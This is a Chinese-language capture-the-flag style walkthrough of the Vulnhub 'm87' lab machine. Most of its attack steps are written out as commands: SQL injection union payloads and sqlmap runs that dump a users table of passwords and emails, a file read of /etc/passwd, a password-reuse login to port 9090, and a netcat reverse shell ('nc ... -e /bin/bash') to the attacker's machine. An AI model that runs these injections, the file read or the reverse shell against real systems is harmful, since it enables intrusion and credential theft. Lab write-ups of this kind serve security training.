Vulnhub之m87
信息收集
1IP扫描


2端口扫描

访问80

3端口80目录扫描
dirsearch -u http://192.168.190.7:80 -x 320,403

访问 admin

访问 admin/backup/

访问9090

漏洞验证
sqlmap注入
http://192.168.190.7/admin/ 输入参数id=’ 出现报错 id=1的时候回显正常 说明存在注入点

使用sqlmap跑一下,确实存在注入点
sqlmap -u "http://192.168.190.7/admin/?id=1" --batch

查询库名

数据库版本

查看用户
http://192.168.190.7/admin/?id=1 and 1=2 union select user()

id
http://192.168.190.7/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1

username
http://192.168.190.7/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1

password
http://192.168.190.7/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1

email
http://192.168.190.7/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,3

users 表里 有 id username password email 四个字段
http://192.168.190.7/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,4

users表的username


id=11 没显示用户名 有10个用户

查用户
查看password 的第一列到第十列 对应用户的密码 通过修改limit 后门的值就可查询
http://192.168.190.7/admin/?id=1%20%20union%20all%20select%20password%20from%20%20users%20%20limit%201,1

第二个用户

略...
第十个用户
http://192.168.190.7/admin/?id=1 union all select password from users limit 10,1

查邮箱
http://192.168.138.7/dmin/?id=1 union select email from users limit 1,10
第一个用户的邮箱格式 :用户名@localhost

一次性查看10 个用户的邮箱

jack@localhostceo@localhostbrad@localhostexpenses@localhostjulia@localhostmike@localhostadrian@localhostjohn@localhostadmin@localhostalex@localhost
列出所有的数据库
sudo sqlmap -u "http://192.168.138.7/admin/?id=1" --dbs
y
.....
y

web当前使用的数据库 为db
sqlmap -u "http://192.168.138.7/admin/?id=1" --current-db

当前使用数据库的用户
sqlmap -u "http://192.168.138.7/admin/?id=1" --current-user

列出数据库所有的用户
sqlmap -u "http://192.168.138.7/admin/?id=1" --users

列出数据中所有的表 就一张users 表
sqlmap -u "http://192.168.138.7/admin/?id=1" --tables -D db

列出数据库db特定表users的结构,所有字段
sqlmap -u "http://192.168.138.7/admin/?id=1" --columns -D db -T users

然后对columns 中的id 、username 、 password 和 email 进行爆破
sqlmap -u "http://192.168.138.7/admin/?id=1" --columns -D db -T users -C id,username,password,email -dump

查看后10个用户的密码、邮箱
1 jack gae5g5a jack@localhost
2 ceo 5t96y4i95y ceo@localhost
3 brad gae5g5a brad@localhost
4 expenses 5t96y4i95y expenses@localhostj
5 julia fw54vrfwe45 julia@localhost
6 mike 4kworw4 mike@localhost
7 adrian fw54vrfwe45 adrian@localhost
8 john 4kworw4 john@localhost
9 admin 15The4Dm1n4L1f3 admin@localhost
10 alex dsfsrw4 alex@localhost
去登录界面尝试用搜集到的用户名、邮箱、密码去登录 发现 都登录不了
通过查阅资料 了解到 可以通过数据库有读取文件的权限 去查看/etc/passwd 文件内容
sqlmap -u 'http://192.168.138.7/admin/backup/?id=1' --file-read /etc/passwd
看见 将文件存在kali 本地目录下

使用 cat 命令 去对应的目录下查看

漏洞利用
bin/bash 有命令执行权限 找到和root 权限相似的用户 charlotte

9090 这个登陆界面刚好符合条件
结合之前的密码 , 和etc/passwd 下的 Charlotte 用户

Charlotte
随便输入
aadadad
抓包


发现输入的用户名密码会被base64 加密
将Y2hhcmxvdHRlOmFkYWFkYWQ=
解码后charlotte:aadadad
加密方式 用户名+密码 进行base64
本人能力有限 就手动输入了
gae5g5a
5t96y4i95y
gae5g5a
5t96y4i95y
fw54vrfwe45
4kworw4
fw54vrfwe45
4kworw4
15The4Dm1n4L1f3
dsfsrw4
用户名:charlotte
密码:15The4Dm1n4L1f3
登录发现一个local.txt

权限提升
利用反弹shell , 设置为kali ip , 端口 设置为6666
终端执行以下命令
nc 192.168.138.107 6666 -e /bin/bash

kali监听

打开一个python 伪终端
-c参数选项允许我们直接在命令终端里面执行指定脚本

可以使用os 模块调用本地的root 的shell


查看 id 确认root 身份 ,提权成功


浙公网安备 33010602011771号